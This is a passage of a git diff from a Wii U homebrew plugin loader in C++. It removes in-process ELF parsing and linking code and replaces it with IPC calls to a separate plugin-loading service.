-        memoryBySymbol[symbol] = PluginLoader::getInstance()->getMemoryFromDataSection(align, size);
-        DEBUG_FUNCTION_LINE("Setting value %08X\n",memoryBySymbol.find(symbol)->second);
-    } else {
-        DEBUG_FUNCTION_LINE("Using cached value %08X\n",memoryBySymbol.find(symbol)->second);
-    }
-
-    return memoryBySymbol.find(symbol)->second;
-}
diff --git a/src/plugin/PluginData.h b/src/plugin/PluginData.h
deleted file mode 100644
index 20b462d..0000000
--- a/src/plugin/PluginData.h
+++ /dev/null
@@ -1,134 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#ifndef _PLUGIN_DATA_H_
-#define _PLUGIN_DATA_H_
-
-#include <string>
-#include <vector>
-#include <map>
-#include "FunctionData.h"
-#include "HookData.h"
-#include "PluginInformation.h"
-#include "RelocationData.h"
-#include "ImportRPLInformation.h"
-#include <utils/logger.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <libelf.h>
-
-#ifdef __cplusplus
-}
-#endif
-
-class PluginData {
-public:
-    PluginData(PluginInformation * pluginInformation) {
-        this->pluginInformation = pluginInformation;
-    }
-
-    ~PluginData() {
-        for(size_t i = 0; i< function_data_list.size(); i++) {
-            if(function_data_list[i] != NULL) {
-                delete function_data_list[i];
-            }
-        }
-
-        for(size_t i = 0; i< hook_data_list.size(); i++) {
-            if(hook_data_list[i] != NULL) {
-                delete hook_data_list[i];
-            }
-        }
-
-        for(size_t i = 0; i< relocation_data_list.size(); i++) {
-            if(relocation_data_list[i] != NULL) {
-                delete relocation_data_list[i];
-            }
-        }
-
-        for(size_t i = 0; i< importRPLInformation_list.size(); i++) {
-            if(importRPLInformation_list[i] != NULL) {
-                delete importRPLInformation_list[i];
-            }
-        }
-    }
-
-    void addFunctionData(FunctionData * function_data) {
-        function_data_list.push_back(function_data);
-    }
-
-    std::vector<FunctionData *> getFunctionDataList() {
-        return function_data_list;
-    }
-
-    void addHookData(HookData * hook_data) {
-        hook_data_list.push_back(hook_data);
-    }
-
-    std::vector<HookData *> getHookDataList() {
-        return hook_data_list;
-    }
-
-    void addRelocationData(RelocationData * relocation_data) {
-        relocation_data_list.push_back(relocation_data);
-    }
-
-    std::vector<RelocationData *> getRelocationDataList() {
-        return relocation_data_list;
-    }
-
-    void addImportRPLInformation(ImportRPLInformation * importRPLInformation) {
-        importRPLInformation_list.push_back(importRPLInformation);
-    }
-
-    std::vector<ImportRPLInformation *> getImportRPLInformationList() {
-        return importRPLInformation_list;
-    }
-
-    /**
-        Returns a ImportRPLInformation for a given section header index.
-
-        \param section_header_index: ID of section in elf, started counting at 1.
-
-        \return A pointer to the corresponding ImportRPLInformation, return NULL if no corresponding information was found.
-    **/
-    ImportRPLInformation * getImportRPLInformationBySectionHeaderIndex(int32_t section_header_index);
-
-
-    PluginInformation * getPluginInformation() {
-        return pluginInformation;
-    }
-
-    uint32_t getMemoryForCommonBySymbol(size_t symbol, size_t align, size_t size);
-
-private:
-
-    PluginInformation * pluginInformation;
-
-    std::vector<FunctionData *> function_data_list;
-    std::vector<HookData *> hook_data_list;
-    std::vector<RelocationData *> relocation_data_list;
-    std::vector<ImportRPLInformation *> importRPLInformation_list;
-
-    std::map<size_t, uint32_t> memoryBySymbol;
-};
-
-
-#endif
diff --git a/src/plugin/PluginInformation.cpp b/src/plugin/PluginInformation.cpp
deleted file mode 100644
index 06b6d3b..0000000
--- a/src/plugin/PluginInformation.cpp
+++ /dev/null
@@ -1,423 +0,0 @@
-/* based on plugin.c
- *   by Alex Chadwick
- *
- * Copyright (C) 2014, Alex Chadwick
- * Modified 2018, Maschell
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- * SOFTWARE.
- */
-
-#include "PluginInformation.h"
-#include <utils/logger.h>
-#include <dynamic_libs/os_types.h>
-#include <libelf.h>
-#include <string.h>
-#include <sys/types.h>
-#include <wups.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <utils/utils.h>
-#include "ElfTools.h"
-
-bool PluginInformation::checkFileExtenstion(const char * path) {
-    if(path == NULL) {
-        return false;
-    }
-    const char *extension;
-
-    /* find the file extension */
-    extension = strrchr(path, '.');
-    if (extension == NULL) {
-        extension = strchr(path, '\0');
-    } else {
-        extension++;
-    }
-
-    if(extension == NULL) {
-        return false;
-    }
-
-    if (strcmp(extension, "mod") == 0 ||
-            strcmp(extension, "o") == 0 ||
-            strcmp(extension, "a") == 0 ||
-            strcmp(extension, "elf") == 0) {
-        return true;
-    }
-    return false;
-}
-
-bool PluginInformation::openAndParseElf() {
-    bool result = false;
-    int32_t fd = -1;
-    Elf *elf = NULL;
-
-    /* check for compile errors */
-    if (elf_version(EV_CURRENT) == EV_NONE) {
-        goto exit_error;
-    }
-
-    fd = open(getPath().c_str(), O_RDONLY, 0);
-
-    if (fd == -1) {
-        DEBUG_FUNCTION_LINE("failed to open '%s' \n", getPath().c_str());
-        goto exit_error;
-    }
-
-    elf = elf_begin(fd, ELF_C_READ, NULL);
-
-    if (elf == NULL) {
-        DEBUG_FUNCTION_LINE("elf was NULL\n");
-        goto exit_error;
-    }
-
-    switch (elf_kind(elf)) {
-    case ELF_K_AR:
-        /* TODO */
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Archives not yet supported.\n", getPath().c_str());
-        goto exit_error;
-    case ELF_K_ELF:
-        result = this->parseElf(elf);
-        break;
-    default:
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Invalid ELF file.\n", getPath().c_str());
-        goto exit_error;
-    }
-
-exit_error:
-    if (elf != NULL) {
-        elf_end(elf);
-    }
-    if (fd != -1) {
-        close(fd);
-    }
-    return result;
-}
-
-bool PluginInformation::parseElf( Elf *elf) {
-    bool res = false;
-    Elf_Scn *scn;
-    Elf32_Ehdr *ehdr;
-    char *ident;
-    size_t shstrndx, sz, symtab_count, symtab_strndx;
-    Elf32_Sym *symtab = NULL;
-
-    size_t cur_size = 0;
-
-    const char * path_c = getPath().c_str();
-
-    if(elf == NULL) {
-        goto exit_error;
-    }
-    if(elf_kind(elf) != ELF_K_ELF) {
-        goto exit_error;
-    }
-
-    ident = elf_getident(elf, &sz);
-
-    if (ident == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Invalid ELF header.\n", path_c);
-        goto exit_error;
-    }
-    if (sz < 7) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Invalid ELF header.\n", path_c);
-        goto exit_error;
-    }
-    if (ident[4] != ELFCLASS32) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Not 32 bit ELF.\n", path_c);
-        goto exit_error;
-    }
-    if (ident[5] != ELFDATA2MSB) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Not Big Endian.\n", path_c);
-        goto exit_error;
-    }
-    if (ident[6] != EV_CURRENT) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Unknown ELF version.\n", path_c);
-        goto exit_error;
-    }
-
-    ehdr = elf32_getehdr(elf);
-
-    if (ehdr == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Invalid ELF header\n", path_c);
-        goto exit_error;
-    }
-    /*if (ehdr->e_type != ET_REL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Not relocatable ELF.\n", path_c);
-        goto exit_error;
-    }*/
-    if (ehdr->e_machine != EM_PPC) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Architecture not EM_PPC.\n", path_c);
-        goto exit_error;
-    }
-    if (ehdr->e_version != EV_CURRENT) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Unknown ELF version.\n", path_c);
-        goto exit_error;
-    }
-
-    if (!ElfTools::loadElfSymtab(elf, &symtab, &symtab_count, &symtab_strndx)) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Couldn't parse symtab.\n", path_c);
-        goto exit_error;
-    }
-
-    if(symtab == NULL) {
-        goto exit_error;
-    }
-
-    if(!metadataRead(elf, symtab, symtab_count, symtab_strndx)) {
-        goto exit_error;
-    }
-
-    if (elf_getshdrstrndx(elf, &shstrndx) != 0) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Couldn't find shdrstndx.\n", path_c);
-        goto exit_error;
-    }
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-
-        if ((shdr->sh_type == SHT_PROGBITS || shdr->sh_type == SHT_NOBITS) &&
-                (shdr->sh_flags & SHF_ALLOC)) {
-
-            const char *name;
-
-            name = elf_strptr(elf, shstrndx, shdr->sh_name);
-            if (name == NULL) {
-                continue;
-            }
-
-            if (strcmp(name, ".wups.meta") == 0) {
-                continue;
-            } else if (strcmp(name, ".wups.load") == 0) {
-                cur_size +=
-                    shdr->sh_size / sizeof(wups_loader_entry_t) * 6*4;
-            } else if (strcmp(name, ".wups.hooks") == 0) {
-                cur_size +=
-                    shdr->sh_size / sizeof(wups_loader_hook_t) * 2*4;
-            } else {
-                cur_size += shdr->sh_size;
-                /* add alignment padding to size */
-                if (shdr->sh_addralign > 3) {
-                    /* roundup to multiple of sh_addralign  */
-                    cur_size += (-cur_size & (shdr->sh_addralign - 1));
-                } else {
-                    /* roundup to multiple of 4 */
-                    cur_size += (-cur_size & 3);
-                }
-            }
-        }
-    }
-
-    /* roundup to multiple of 4 */
-    cur_size += (-cur_size & 3);
-
-    this->setSize(cur_size);
-
-    res = true;
-exit_error:
-    if (symtab != NULL) {
-        free(symtab);
-    }
-
-    return res;
-}
-
-bool PluginInformation::metadataRead(Elf *elf, Elf32_Sym *symtab, size_t symtab_count, size_t symtab_strndx) {
-    char *metadata = NULL, *metadata_cur, *metadata_end;
-    const char *name, *author, *version, *license, *wups, *buildtimestamp, *description;
-
-    Elf_Scn *scn;
-    size_t shstrndx;
-
-    if (elf_getshdrstrndx(elf, &shstrndx) != 0) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Couldn't find shstrndx\n", path);
-        goto exit_error;
-    }
-
-    for (scn = elf_nextscn(elf, NULL); scn != NULL; scn = elf_nextscn(elf, scn)) {
-        Elf32_Shdr *shdr;
-        const char *name;
-
-        shdr = elf32_getshdr(scn);
-        if (shdr == NULL) {
-            continue;
-        }
-
-        name = elf_strptr(elf, shstrndx, shdr->sh_name);
-        if (name == NULL) {
-            continue;
-        }
-
-        if (strcmp(name, ".wups.meta") == 0) {
-            if (shdr->sh_size == 0) {
-                continue;
-            }
-
-            if (metadata != NULL) {
-                continue;
-            }
-
-            metadata = (char*) malloc(shdr->sh_size);
-
-            if (metadata == NULL) {
-                continue;
-            }
-
-            if (!ElfTools::elfLoadSection(elf, scn, shdr, metadata)) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Couldn't load .wups.meta.\n", path);
-                goto exit_error;
-            }
-
-            ElfTools::elfLoadSymbols(elf_ndxscn(scn), metadata, symtab, symtab_count);
-
-            if (!ElfTools::elfLink(elf, elf_ndxscn(scn), metadata, symtab, symtab_count, symtab_strndx, false)) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - .wups.meta contains invalid relocations.\n", path);
-                goto exit_error;
-            }
-
-            metadata_end = metadata + shdr->sh_size;
-            metadata_end[-1] = '\0';
-        }
-    }
-
-    if (metadata == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Not a WUPS plugin file.\n", path);
-        goto exit_error;
-    }
-
-    name = NULL;
-    author = NULL;
-    version = NULL;
-    license = NULL;
-    wups = NULL;
-    buildtimestamp = NULL;
-    description = NULL;
-
-    for (metadata_cur = metadata; metadata_cur < metadata_end; metadata_cur = strchr(metadata_cur, '\0') + 1) {
-
-        char *eq;
-
-        if(metadata_cur < metadata || metadata_cur >= metadata_end) {
-            goto exit_error;
-        }
-
-        if (*metadata_cur == '\0') {
-            continue;
-        }
-
-        eq = strchr(metadata_cur, '=');
-        if (eq == NULL) {
-            continue;
-        }
-
-        if (strncmp(metadata_cur, "name", eq - metadata_cur) == 0) {
-            if (name != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_NAME declarations.\n", path);
-                goto exit_error;
-            }
-            name = eq + 1;
-        } else if (strncmp(metadata_cur, "author", eq - metadata_cur) == 0) {
-            if (author != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_AUTHOR declarations.\n", path);
-                goto exit_error;
-            }
-            author = eq + 1;
-        } else if (strncmp(metadata_cur, "version", eq - metadata_cur) == 0) {
-            if (version != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_VERSION declarations.\n", path);
-                goto exit_error;
-            }
-            version = eq + 1;
-        } else if (strncmp(metadata_cur, "license", eq - metadata_cur) == 0) {
-            if (license != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_LICENSE declarations.\n", path);
-                goto exit_error;
-            }
-            license = eq + 1;
-        } else if (strncmp(metadata_cur, "buildtimestamp", eq - metadata_cur) == 0) {
-            if (buildtimestamp != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_TIMESTAMP declarations.\n", path);
-                goto exit_error;
-            }
-            buildtimestamp = eq + 1;
-        } else if (strncmp(metadata_cur, "description", eq - metadata_cur) == 0) {
-            if (description != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_LICENSE declarations.\n", path);
-                goto exit_error;
-            }
-            description = eq + 1;
-        } else if (strncmp(metadata_cur, "wups", eq - metadata_cur) == 0) {
-            if (wups != NULL) {
-                DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Multiple WUPS_PLUGIN_NAME declarations.\n", path);
-                goto exit_error;
-            }
-            wups = eq + 1;
-        }
-    }
-
-    if (description == NULL) {
-        description = "";
-    }
-
-    if (wups == NULL || strcmp(wups, "0.1") != 0) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Unrecognised WUPS version.\n", path);
-        goto exit_error;
-    }
-    if (buildtimestamp == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Couldn't find buildtimestamp.\n", path);
-        goto exit_error;
-    }
-    if (name == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Missing WUPS_PLUGIN_NAME declaration.\n",path);
-        goto exit_error;
-    }
-    if (author == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Missing WUPS_PLUGIN_AUTHOR declaration.\n", path);
-        goto exit_error;
-    }
-    if (version == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Missing WUPS_PLUGIN_VERSION declaration.\n", path);
-        goto exit_error;
-    }
-    if (license == NULL) {
-        DEBUG_FUNCTION_LINE("Warning: Ignoring '%s' - Missing WUPS_PLUGIN_LICENSE declaration.\n", path);
-        goto exit_error;
-    }
-
-    this->setName(name);
-    this->setAuthor(author);
-    this->setVersion(version);
-    this->setLicense(license);
-    this->setBuildTimestamp(buildtimestamp);
-    this->setDescription(description);
-
-    return true;
-
-exit_error:
-
-    if (metadata != NULL) {
-        free(metadata);
-    }
-    return false;
-}
diff --git a/src/plugin/PluginInformation.h b/src/plugin/PluginInformation.h
index 67034ce..7463edd 100644
--- a/src/plugin/PluginInformation.h
+++ b/src/plugin/PluginInformation.h
@@ -28,39 +28,20 @@
 
 #include <string>
 #include <vector>
-#include "FunctionData.h"
-#include "HookData.h"
-#include <utils/logger.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#include <libelf.h>
-
-#ifdef __cplusplus
-}
-#endif
+#include "utils/logger.h"
+#include "utils/ipcclient.h"
 
 class PluginInformation {
 public:
-    /**
+    PluginInformation(plugin_information_handle handle, const char * path,  const char * name,  const char * author) {
+        this->handle = handle;
+        this->path = path;
+        this->name = name;
+        this->author = author;
+    }
 
-    returns PluginInformation* if a valid plugin was found at the given path. Otherwise returns NULL
-    **/
-    static PluginInformation * loadPluginInformation(std::string path) {
-        if(PluginInformation::checkFileExtenstion(path.c_str())) {
-            DEBUG_FUNCTION_LINE("Checkfile successfully, loading now Plugin Information\n");
-            PluginInformation * pluginInformation = new PluginInformation(path);
-            if(pluginInformation->openAndParseElf()) {
-                return pluginInformation;
-            } else {
-                delete pluginInformation;
-                return NULL;
-            }
-        } else {
-            return NULL;
-        }
+    ~PluginInformation() {
+        IPC_Delete_Plugin_Information(this->handle);
     }
 
     std::string getName() {
@@ -94,19 +75,11 @@ public:
     size_t getSize() {
         return this->size;
     }
+
+    plugin_information_handle getHandle() {
+        return this->handle;
+    }
 private:
-    PluginInformation(std::string path) {
-        this->path = path;
-    }
-
-    void setName(const char * name) {
-        this->name = name;
-    }
-
-    void setAuthor(const char * author) {
-        this->author = author;
-    }
-
     void setVersion(const char * version) {
         this->version = version;
     }
@@ -127,15 +100,7 @@ private:
         this->size = size;
     }
 
-    static bool checkFileExtenstion(const char * path);
-
-    bool openAndParseElf();
-
-    bool parseElf(Elf *elf);
-
-    bool metadataRead(Elf *elf, Elf32_Sym *symtab, size_t symtab_count, size_t symtab_strndx);
-
-    bool loadedSuccessfully = false;
+    plugin_information_handle handle;
 
     std::string path;
     std::string name;
@@ -144,7 +109,8 @@ private:
     std::string license;
     std::string buildtimestamp;
     std::string description;
-    size_t size;
+
+    size_t size = 0;
 };
 
 
diff --git a/src/plugin/PluginLoader.cpp b/src/plugin/PluginLoader.cpp
index 2215e29..921ca66 100644
--- a/src/plugin/PluginLoader.cpp
+++ b/src/plugin/PluginLoader.cpp
@@ -1,136 +1,124 @@
-/* based on module.c
- *   by Alex Chadwick
- *
- * Copyright (C) 2014, Alex Chadwick
- * Modified 2018, Maschell
- *
- * Permission is hereby granted, free of charge, to any person obtaining a copy
- * of this software and associated documentation files (the "Software"), to deal
- * in the Software without restriction, including without limitation the rights
- * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
- * copies of the Software, and to permit persons to whom the Software is
- * furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
- * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
- * SOFTWARE.
- */
-
 #include <string>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include "ElfTools.h"
-#include "PluginData.h"
 #include "PluginLoader.h"
-#include "DynamicLinkingHelper.h"
-#include "utils/StringTools.h"
-#include "common/retain_vars.h"
+#include "utils/ipcclient.h"
 
-PluginLoader * PluginLoader::instance = NULL;
+PluginLoader * PluginLoader::createInstance(uint32_t startAddress, uint32_t endAddress) {
+    plugin_loader_handle handle = IPC_Open_Plugin_Loader(startAddress, endAddress);
 
-std::vector<PluginInformation *> PluginLoader::getPluginInformation(const char * path) {
+    if(handle != 0) {
+        return new PluginLoader(handle, startAddress,endAddress);
+    }
+    return NULL;
+}
+
+void PluginLoader::destroyInstance(PluginLoader * loader) {
+    if(loader != NULL) {
+        delete loader;
+    }
+}
+
+
+PluginLoader::PluginLoader(plugin_information_handle handle,uint32_t startAddress, uint32_t endAddress) {
+    this->handle = handle;
+    this->startAddress = startAddress;
+    this->endAddress = endAddress;
+}
+
+PluginLoader::~PluginLoader() {
+    IPC_Close_Plugin_Loader(this->handle);
+}
+
+std::vector<PluginInformation *> PluginLoader::getPluginsByPath(const char * path) {
     std::vector<PluginInformation *> result;
-    struct dirent *dp;
-    DIR *dfd = NULL;
+    plugin_information_handle * handleList = NULL;
+    uint32_t  handleListSize = 0;
 
-    if(path == NULL) {
-        DEBUG_FUNCTION_LINE("Path was NULL\n");
-        return result;
+    uint32_t res = IPC_Get_Plugin_Information(this->handle, path, &handleList, &handleListSize);
+    if(res == 0) {
+        DEBUG_FUNCTION_LINE("SUCCESS reading plugins from %s. handleListSize %d, handlelist %08X \n",path, handleListSize, handleList);
+        result = getPluginInformationByStruct(handleList, handleListSize);
     }
 
-    if ((dfd = opendir(path)) == NULL) {
-        DEBUG_FUNCTION_LINE("Couldn't open dir %s\n",path);
-        return result;
+    if(handleList != NULL) {
+        free(handleList);
+    }
+    return result;
+}
+
+std::vector<PluginInformation *> PluginLoader::getPluginsLoadedInMemory() {
+    std::vector<PluginInformation *> result;
+    plugin_information_handle * handleList = NULL;
+    uint32_t  handleListSize = 0;
+
+    uint32_t res = IPC_Get_Plugin_Information_Loaded(this->handle, &handleList, &handleListSize);
+    if(res == 0) {
+        result = getPluginInformationByStruct(handleList, handleListSize);
     }
 
-    while ((dp = readdir(dfd)) != NULL) {
-        struct stat stbuf ;
-        std::string full_file_path = StringTools::strfmt("%s/%s",path,dp->d_name);
-        StringTools::RemoveDoubleSlashs(full_file_path);
-        if( stat(full_file_path.c_str(),&stbuf ) == -1 ) {
-            DEBUG_FUNCTION_LINE("Unable to stat file: %s\n",full_file_path.c_str()) ;
-            continue;
-        }
+    if(handleList != NULL) {
+        free(handleList);
+    }
+    return result;
+}
 
-        if ( ( stbuf.st_mode & S_IFMT ) == S_IFDIR ) { // Skip directories
-            continue;
-        } else {
-            DEBUG_FUNCTION_LINE("Found file: %s\n",full_file_path.c_str()) ;
-            PluginInformation * plugin = PluginInformation::loadPluginInformation(full_file_path);
-            if(plugin != NULL) {
-                DEBUG_FUNCTION_LINE("Found plugin %s by %s. Built on %s Size: %d kb \n",plugin->getName().c_str(),plugin->getAuthor().c_str(),plugin->getBuildTimestamp().c_str(),plugin->getSize()/1024) ;
-                DEBUG_FUNCTION_LINE("Description: %s \n",plugin->getDescription().c_str()) ;
-                result.push_back(plugin);
-            } else {
-                DEBUG_FUNCTION_LINE("%s is not a valid plugin\n",full_file_path.c_str()) ;
+bool PluginLoader::loadAndLinkPlugins(std::vector<PluginInformation *> pluginInformation) {
+    uint32_t  handleListSize = pluginInformation.size();
+
+    DEBUG_FUNCTION_LINE("Convert PluginInformation* to plugin_information_handle *\n");
+
+    plugin_information_handle * handleList = (plugin_information_handle *) malloc(handleListSize * sizeof(plugin_information_handle));
+    if(handleList == NULL) {
+        return false;
+    }
+
+    DEBUG_FUNCTION_LINE("Allocation was okay %08X\n", handleList);
+
+
+    uint32_t cur = 0;
+    for (std::vector<PluginInformation *>::iterator it = pluginInformation.begin() ; it != pluginInformation.end(); ++it) {
+        PluginInformation * curPlugin = *it;
+        handleList[cur] = curPlugin->getHandle();
+        DEBUG_FUNCTION_LINE("Adding to List %08X\n", handleList[cur]);
+        cur++;
+    }
+    bool result = false;
+    int32_t  res = IPC_Link_Plugin_Information(this->handle, handleList, handleListSize);
+
+    if(res >= 0) {
+        DEBUG_FUNCTION_LINE("result was %d\n", res);
+        result = true;
+    }
+
+    free(handleList);
+    return result;
+}
+
+std::vector<PluginInformation *> PluginLoader::getPluginInformationByStruct(plugin_information_handle * handleList, uint32_t  handleListSize) {
+    std::vector<PluginInformation *> result;
+
+    if(handleListSize > 0) {
+        DEBUG_FUNCTION_LINE("Getting details for handles\n");
+        plugin_information * informationList = NULL;
+        uint32_t informationListSize = 0;
+        uint32_t res =  IPC_Get_Plugin_Information_Details(this->handle, handleList, handleListSize, &informationList, &informationListSize);
+        if(res == 0) {
+            for(uint32_t i = 0; i<informationListSize; i++) {
+                DEBUG_FUNCTION_LINE("Adding %08X %s\n", informationList[i].handle, informationList[i].path);
+                result.push_back(new PluginInformation(informationList[i].handle,informationList[i].path,informationList[i].name,informationList[i].author));
             }
+        } else {
+            DEBUG_FUNCTION_LINE("IPC_Get_Plugin_Information_Details failed\n");
         }
-    }
-    if(dfd != NULL) {
-        closedir(dfd);
+        if(informationList != NULL) {
+            free(informationList);
+        }
+    } else {
+        DEBUG_FUNCTION_LINE("List is empty.\n");
     }
 
     return result;
 }
 
-std::vector<PluginInformation *> PluginLoader::getPluginsLoadedInMemory() {
-    std::vector<PluginInformation *> pluginInformation;
-    for(int32_t i = 0; i < gbl_replacement_data.number_used_plugins; i++) {
-        replacement_data_plugin_t * pluginInfo = &gbl_replacement_data.plugin_data[i];
-        PluginInformation * curPlugin = PluginInformation::loadPluginInformation(pluginInfo->path);
-        if(curPlugin != NULL) {
-            pluginInformation.push_back(curPlugin);
-        }
-    }
-    return pluginInformation;
-}
-
-bool PluginLoader::loadAndLinkPlugins(std::vector<PluginInformation *> pluginInformation) {
-    std::vector<PluginData *> loadedPlugins;
-    bool success = true;
-    for(size_t i = 0; i < pluginInformation.size(); i++) {
-        PluginInformation * cur_info = pluginInformation[i];
-        PluginData * pluginData = loadAndLinkPlugin(cur_info);
-        if(pluginData == NULL) {
-            DEBUG_FUNCTION_LINE("loadAndLinkPlugins failed for %d\n",i) ;
-            success = false;
-            continue;
-        } else {
-            loadedPlugins.push_back(pluginData);
-        }
-    }
-
-    PluginLoader::flushCache();
-
-    if(success) {
-        copyPluginDataIntoGlobalStruct(loadedPlugins);
-    } else {
-        PluginLoader::resetPluginLoader();
-        memset((void*)&gbl_replacement_data,0,sizeof(gbl_replacement_data));
-    }
-
-    clearPluginData(loadedPlugins);
-
-    return success;
-}
-
-void PluginLoader::clearPluginData(std::vector<PluginData *> pluginData) {
-    for(size_t i = 0; i < pluginData.size(); i++) {
-        PluginData * curPluginData = pluginData[i];
-        if(curPluginData != NULL) {
-            delete curPluginData;
-        }
-    }
-}
 
 void PluginLoader::clearPluginInformation(std::vector<PluginInformation *> pluginInformation) {
     for(size_t i = 0; i < pluginInformation.size(); i++) {
@@ -140,395 +128,3 @@ void PluginLoader::clearPluginInformation(std::vector<PluginInformation *> plugi
         }
     }
 }
-
-PluginData * PluginLoader::loadAndLinkPlugin(PluginInformation * pluginInformation) {
-    PluginData * result = NULL;
-    int32_t fd = -1;
-    Elf *elf = NULL;
-
-    if(pluginInformation == NULL) {
-        DEBUG_FUNCTION_LINE("pluginInformation was NULL\n");
-        goto exit_error;
-    }
-
-    if(pluginInformation->getSize() > ((uint32_t) getAvailableSpace())) {
-        DEBUG_FUNCTION_LINE("Not enough space left to loader the plugin into memory %08X %08X\n",pluginInformation->getSize(),getAvailableSpace());
-        goto exit_error;
-    }
-
-    /* check for compile errors */
-    if (elf_version(EV_CURRENT) == EV_NONE) {
-        goto exit_error;
-    }
-
-    fd = open(pluginInformation->getPath().c_str(), O_RDONLY, 0);
-
-    if (fd == -1) {
-        DEBUG_FUNCTION_LINE("failed to open '%s' \n", pluginInformation->getPath().c_str());
-        goto exit_error;
-    }
-
-    elf = elf_begin(fd, ELF_C_READ, NULL);
-
-    if (elf == NULL) {
-        DEBUG_FUNCTION_LINE("elf was NULL\n");
-        goto exit_error;
-    }
-
-    result = new PluginData(pluginInformation);
-    if(result == NULL) {
-        DEBUG_FUNCTION_LINE("Failed to create object\n");
-        goto exit_error;
-    }
-
-    if(!this->loadAndLinkElf(result, elf, this->getCurrentStoreAddress())) {
-        delete result;
-        result = NULL;
-    }
-
-exit_error:
-    if (elf != NULL) {
-        elf_end(elf);
-    }
-    if (fd != -1) {
-        close(fd);
-    }
-    return result;
-}
-
-bool PluginLoader::loadAndLinkElf(PluginData * pluginData, Elf *elf, void * startAddress) {
-    if(pluginData == NULL || elf == NULL || startAddress == NULL) {
-        return false;
-    }
-
-    uint32_t curAddress = (uint32_t) startAddress;
-    uint32_t firstCurAddress = (uint32_t) startAddress;
-
-    Elf_Scn *scn;
-    size_t symtab_count, section_count, shstrndx, symtab_strndx, entries_count, hooks_count;
